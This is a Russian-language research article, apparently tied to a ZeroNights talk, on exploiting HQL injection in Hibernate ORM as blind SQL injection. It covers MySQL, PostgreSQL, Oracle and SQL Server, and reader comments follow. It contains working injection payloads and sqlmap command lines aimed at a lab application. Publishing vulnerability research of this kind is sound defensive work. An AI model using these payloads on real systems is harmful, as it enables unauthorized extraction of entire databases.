Эксплуатация инъекций в Hibernate ORM

    image
    Доклад на эту тему был представлен на конференции ZeroNights 0x05 на секции FastTrack. Работа оказалась очень актуальной и вызвала большой интерес, поскольку в последнее время проблема эксплуатации HQL-инъекций интересовала многих security-исследователей, специализирующихся на веб-безопасности. Поэтому я решил написать статью, которая раскрывает дополнительные детали, позволяющие лучше понять результаты работы.

    Современные приложения, написанные на языке Java, как правило, работают с СУБД не напрямую, а используют Java Persistence API (JPA). JPA – это API, который был добавлен в состав платформ Java SE и Java EE, начиная с Java версии 5, для того, чтобы было удобно сохранять Java-объекты в базу данных и извлекать их из базы данных. Существует большое количество ORM-библиотек (ORM – Object-Relational Mapping) для JAVA, которые реализуют спецификацию JPA. На сегодняшний момент последняя версия спецификации 2.1.

    Одна из популярных ORM-библиотек — Hibernate ORM. На данный момент Hibernate является проектом RedHat. Cерверы приложений WildFly и JBoss используют Hibernate в качестве ORM.

    Hibernate ORM использует объектно-ориентированный язык запросов Hibernate Query Language (HQL) для написания запросов к сущностям Hibernate, которые хранятся в базе данных.

    HQL-инъекция


    Для передачи параметров в HQL-запрос используются named parameters или positional parameters. Ниже представлен пример передачи параметра в HQL-запрос при помощи named parameters. Параметр name передается в HQL-запрос.

    public List<Post> getByName_Secure(String name) {
    	Query query = em.createQuery("SELECT p FROM Post p where p.name=:name", Post.class);
    	query.setParameter("name", name);
    	return (List<Post>) query.getResultList();
    }
    

    Разработчик по незнанию или непониманию может попытаться передать параметр name напрямую в HQL-запрос, используя конкатенацию, вместо использования parameter binding, как показано выше. В этом случае код содержит HQL-инъекцию (HQLi). Ниже приведен пример небезопасного кода.

    public List<Post> getByName_Insecure(String name) {
    	Query query = em.createQuery("SELECT p FROM Post p where p.name='" + name + "'", Post.class);
    	return (List<Post>) query.getResultList();
    }
    

    При эксплуатации HQLi атакующий не сможет прочитать содержимое таблиц, которые отличны от таблицы post, к которой привязан (mapped) класс Post. При обращении в подзапросе к таблице, которая не связана с сущностью, генерируется исключение HibernateQueryException и запрос дальше не обрабатывается.

    package hqli.persistent;
    
    import javax.persistence.*;
    
    @Entity
    @Table(name = "post")
    public class Post {
     …
    }
    

    Это серьёзное препятствие при эксплуатации HQLi, если, конечно, entity-класс не связан с таблицей, в которой хранятся данные, используемые приложением для аутентификации или авторизации.

    Исследователь @PaulWebSec написал утилиту HQLmap для эксплуатации HQLi. Утилита реализует blind и error-based техники для эксплуатации HQLi, но позволяет извлекать данные только из связанных таблиц.

    Еще один исследователь @h3xstream написал статью про техники эксплуатации HQLi. В данной статье рассмотрены базовые техники эксплуатации, которые также не позволяют получить доступ к таблицам БД, которые не связаны с сущностью.

    Цель исследования


    Главная цель – получить доступ ко всем таблицам базы данных, которые доступны текущему пользователю СУБД. Т.е. найти возможность эксплуатировать HQLi как SQL-инъекцию (SQLi).

    Основная задача Hibernate ORM – это преобразовать HQL-запрос в SQL-запрос. Преобразование HQL в SQL происходит в три этапа:
    1. Парсинг HQL-запроса при помощи ANTLR с использованием следующей грамматики. Результатом парсинга является HQL-AST (AST – Abstract syntax tree).
    2. Преобразование HQL-AST в SQL-AST. Как раз на этом этапе проверяется, что HQL-запрос обращается только к связанным таблицам.
    3. Преобразование SQL-AST в SQL-запрос, который будет отправлен в СУБД.

    Можно переформулировать цель следующим образом — нам нужно найти HQL-подзапрос, который позволит всему HQL-запросу пройти этапы преобразования 1 и 2, и, самое главное, позволит на 3 этапе получить доступ к таблице, которая не связана с сущностью. Хочется найти HQL-подзапросы, обладающие указанным свойством, для популярных реляционных СУБД: MySQL, Postgresql, Oracle и Microsoft SQL Server.

    Методы исследования


    Первым делом было написано уязвимое приложение, которое использовалось для опытов, оно доступно здесь. Приложение принимает URL-параметр, который поступает в качестве аргумента в уязвимую функцию getByName_Insecure.

    Данное приложение было развернуто на сервере приложений WildFly. Для сервера приложений были установлены JDBC-драйверы для следующих СУБД: MySQL, Postgresql, Oracle и Microsoft SQL Server. При помощи задания свойств Datasource с именем HQLiDS, приложение подключалось к разным СУБД.

    Был настроен уровень логирования Hibernate со значением Debug для того, чтобы в логи сервера приложений записывались HQL и соответствующий ему SQL запросы.

    Были изучены особенности грамматики HQL и особенности преобразования HQL-AST в SQL-AST. Эти особенности позволили для каждой из СУБД найти техники эксплуатации.

    Эксплуатация HQLi в MySQL


    Техника эксплуатации основана на том, что в Hibernate и MySQL по-разному происходит экскейпинг кавычки в строках. Для того, чтобы использовать кавычку в строке в Hibernate, нужно ее удвоить. Для того, чтобы использовать кавычку в строке в MySQL, нужно ее экранировать символом слэш.

    # Hibernate
    'String with '' symbol'
    
    # MySQL
    'String with \' symbol'
    

    Что будет, если в строке мы передадим \'' (слэш и затем две кавычки)? Т.е. если в качестве параметра name мы передадим уязвимому методу getByName_Insecure следующее значение.

    dummy\'' or 1<length((select version())) -- 
    

    Hibernate увидит строку, т.к. слэш – обычный символ для Hibernate и двойная кавычка – это экранированная кавычка. Таким образом, результирующим HQL-запрос пройдет этапы преобразования 1 и 2. Напротив, MySQL увидит экранированную кавычку \' и неэкранированную кавычку, которая терминирует строку и остальная часть значения параметра or 1<length((select version())) -- будет воспринята СУБД как SQL-выражение.

    HQL-инъекцию в этом случае можно эксплуатировать, используя утилиту sqlmap следующим образом.

    sqlmap -u "http://192.168.66.10:8080/app/dummy%5C%27%27%20or%201%3Clength%28%28select%20version%28%29%20from%20dual%20where%201=1*%29%29%20--%20" --dbms="MySQL" --technique B -b -v 0
    

    Данная техника была показана на конференции SYNACTIV исследователем @_unread_ до нашего выступления на ZeroNights. Вот ссылка на презентацию.

    Эксплуатация HQLi в Postgresql


    Для СУБД Postgresql трюк с кавычками не работает, т.к. Postgresql экранирует кавычки таким же образом, как и Hibernate.

    Hibernate позволяет вызывать любые функции СУБД и передавать данным функциям произвольные идентификаторы в качестве параметров. В Postgresql есть полезная функция query_to_xml('select 1',…), которая позволяет выполнить произвольный SQL-запрос, который передается ей в качестве первого параметра. Функция возвращает XML-объект. Для того, чтобы использовать query_to_xml для эксплуатации, нужно ее дополнительно обернуть в вызовы функций array_upper и xpath. Если SQL-запрос, переданный в query_to_xml, вернет одну или более строк, то данная конструкцию вернет значение 1.

    array_upper(xpath('row',query_to_xml('SQL', true, false,'')),1)
    

    Запрос select 1 where 1337>1 возвращает одну строку, поэтому выражение возвращает значение 1.

    postgres=# select array_upper(xpath('row',query_to_xml('select 1 where 1337>1', true, false,'')),1);
     array_upper 
    -------------
               1
    (1 row)
    

    Запрос select 1 where 1337<1 возвращает ноль строк, поэтому выражение не возвращает значение 1.

    postgres=# select array_upper(xpath('row',query_to_xml('select 1 where 1337<1', true, false,'')),1);
     array_upper 
    -------------
                
    (1 row)
    

    В конечном итоге мы можем эксплуатировать HQLi с помощью sqlmap следующим образом.

    sqlmap -u "http://hqli.playground.local:8080/hqli.playground/dummy%27%20and%20array_upper%28xpath%28%27row%27%2Cquery_to_xml%28%27select%201%20where%201337%3E1*%27%2Ctrue%2Cfalse%2C%27%27%29%29%2C1%29%3D1%20and%20%271%27%3D%271" --dbms="PostgreSQL" --technique B -b -v 0
    

    Видео, которое показывает эксплуатацию HQLi для СУБД Postgresql, доступно здесь.

    Эксплуатация HQLi в Oracle


    Для Oracle эксплуатация HQLi аналогична её эксплуатации в Postgresql. В Oracle функция DBMS_XMLGEN.getxml('SQL') позволяет выполнить любой SQL-запрос и возвращает CLOB. Для того, чтобы использовать функцию DBMS_XMLGEN.getxml для эксплуатации, необходимо ее обернуть вызовами функций NVL и TO_CHAR. Если SQL-запрос, переданный в DBMS_XMLGEN.getxml вернет ноль строк, то следующая конструкцию вернет значение '1'.

    NVL(TO_CHAR(DBMS_XMLGEN.getxml('SQL')),'1')
    

    С использованием sqlmap эксплуатации HQLi в СУБД Oracle выглядит следующим образом.

    sqlmap -u "http://hqli.playground.local:8080/hqli.playground/dummy%27%20and%20NVL(TO_CHAR(DBMS_XMLGEN.getxml(%27select%201%20from%20dual%20where%201337>1*%27)),%271%27)!= %271%27%20and%20%271%27=%271" --dbms="Oracle" --technique B -b -v 0
    

    Эксплуатация HQLi в Microsoft SQL Server


    Для СУБД Microsoft SQL Server трюк с кавычками не работает. Функции наподобие query_to_xml и DBMS_XMLGEN.getxml отсутствуют в СУБД.

    В данном случае эксплуатация HQLi основана на том, что Hibernate разрешает использовать Unicode-символы в именах функций и именах параметров, которые передаются в функцию. В то же время СУБД SQL Server допускает использование Unicode-символов наподобие No-break spacе (U+00A0) или Ideographic space (U+3000) в качестве пробелов. Таким образом, следующие два запроса валидны и эквивалентны в SQL Server.

    select top1 uname from postusers
    select[U+00A0]top[U+00A0]1[U+00A0]uname[U+00A0]from[U+00A0]postusers
    

    Таким образом, если в качестве параметра в уязвимый метод мы передадим следующее значение.

    dummy' or 1<LEN([U+00A0](select[U+00A0]top[U+00A0]1[U+00A0]uname[U+00A0]from[U+00A0]postusers)) or '1'='1
    

    Hibernate увидит вызов функции Len, внутри которой вызывается функция с именем [U+00A0] и которой в качестве аргумента передается следующий параметр.

    select[U+00A0]top[U+00A0]1[U+00A0]uname[U+00A0]from[U+00A0]postusers
    

    С точки зрения Hibernate все кажется нормальным, так как Hibernate разрешает вызывать любые функции и передавать им в качестве параметров любые переменные. HQL-запрос успешно пройдет этапы преобразования 1 и 2.

    SQL Server увидит дополнительный подзапрос, который обращается к таблице postusers, так как [U+00A0] воспринимается как пробел.

    dummy' or 1<len((select top 1 uname from postusers)) or '1'='1
    

    Эксплуатировать HQLi с помощью sqlmap напрямую не получится. В связи с этим, был написан Perl-скрипт, который умеет извлекать имена таблиц в текущей БД, извлекать имена столбцов для выбранной таблицы и в завершении дампить выбранную таблицу. Видео, которое демонстрирует работу Perl-скрипта, доступно здесь. Perl-скрипт доступен здесь.

    Заключение


    Были найдены новые техники, которые позволяют эксплуатировать HQLi как blind SQLi для популярных СУБД. Это приравнивает опасность любой HQLi к опасности SQLi.

    Техники эксплуатации работают из-за особенностей парсинга HQL-запросов и особенностей преобразования HQL-AST в SQL-AST:
    1. Экранирование кавычек в строке осуществляется путем их удвоения. В СУБД MySQL экранирование кавычек осуществляется по-другому (при помощи символа слэш).
    2. Возможно использовать любые имена для вызываемых функций. В HQL можно вызывать функцию query_to_xml для Postgresql и функцию DBMS_XMLGEN.getxml для Oracle.
    3. Возможно использовать Unicode-символы в именах вызываемых функций и именах, передаваемых в них параметров. Можно использовать символы No-break spacе (U+00A0) или Ideographic space (U+3000), которые интерпретируются как пробел в Microsoft SQL Server.

    Презентация с выступления на ZeroNights 0x05.
    Parallels
    Мировой лидер на рынке межплатформенных решений

    Комментарии 4

      +3
      Я правильно понимаю, что все уязвимости описанные здесь возможны только если кто напишет что-то вроде Query query = em.createQuery(«SELECT p FROM Post p where p.name='» + name + "'", Post.class); и не будет работать если использовать query.setParameter?

      P.S. Честно говоря, не представляю кто в здравом уме будет использовать конкатенацию createQuery, вместо setParameter, она же просто не будет работать в большинстве случаев, так как в setParameter происходит преобразование объектов Java в объект баз данных, чего не будет при конкатенации. Поэтому любой junior сразу получит по рукам за такой код, если код сам не даст в лоб. В теории можно допустить такую ошибку при использовании createNativeQuery, но это уже будет обычная SQL инъекция.

      Есть у вас какая-нибудь статистика использование такого кода c контенацией строк в каком-нибудь проекте?
        +1
        ORM Injections (HQL injections, как подвид) это распространенный класс уязвимостей, который входит в классификацию OWASP.
        +2
        Ответ на первый вопрос — да, вы правильно поняли. Здесь ситуация аналогична SQL-инъекциям, когда разработчик использует конкатенацию вместо prepareStatement. По опыту аудита безопасности Java-приложений могу сказать, что разработчики совершают подобные ошибки.

        Ответ на второй вопрос — в большом проекте я находил две HQL-инъекции, подобные описанной в статье. Одна была неэксплуатируема. Вторая была эксплуатируема без аутентификации удаленно и позволяла получить всю БД приложения. Класс, который содержал уязвимый код, успешно прошел ревью.
          0
          При использовании других драйверов и других языков программирования для взаимодействия с БД, варианты эксплуатации, возможно, будут другими да? Есть какие — нибудь исследования на эту тему?

          Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

          Самое читаемое